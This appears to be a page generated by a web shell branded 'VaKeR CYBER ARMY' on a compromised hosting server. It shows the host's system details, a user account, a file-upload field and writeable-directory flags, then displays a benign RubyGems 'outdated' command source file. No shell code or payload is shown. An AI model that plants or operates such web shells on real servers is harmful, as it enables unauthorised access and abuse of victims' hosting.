VaKeR CYBER ARMY
Logo of a company Server : Apache
System : Linux host44.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : vapecompany ( 2719)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /opt/alt/ruby20/lib64/ruby/2.0.0/rubygems/commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/ruby20/lib64/ruby/2.0.0/rubygems/commands/outdated_command.rb
require 'rubygems/command'
require 'rubygems/local_remote_options'
require 'rubygems/spec_fetcher'
require 'rubygems/version_option'

class Gem::Commands::OutdatedCommand < Gem::Command

  include Gem::LocalRemoteOptions
  include Gem::VersionOption

  def initialize
    super 'outdated', 'Display all gems that need updates'

    add_local_remote_options
    add_platform_option
  end

  def execute
    Gem::Specification.outdated.sort.each do |name|
      local   = Gem::Specification.find_all_by_name(name).max
      dep     = Gem::Dependency.new local.name, ">= #{local.version}"
      remotes, _ = Gem::SpecFetcher.fetcher.spec_for_dependency dep

      next if remotes.empty?

      remotes.sort! { |a,b| a[0].version <=> b[0].version }

      highest = remotes.last.first

      say "#{local.name} (#{local.version} < #{highest.version})"
    end
  end
end

VaKeR 2022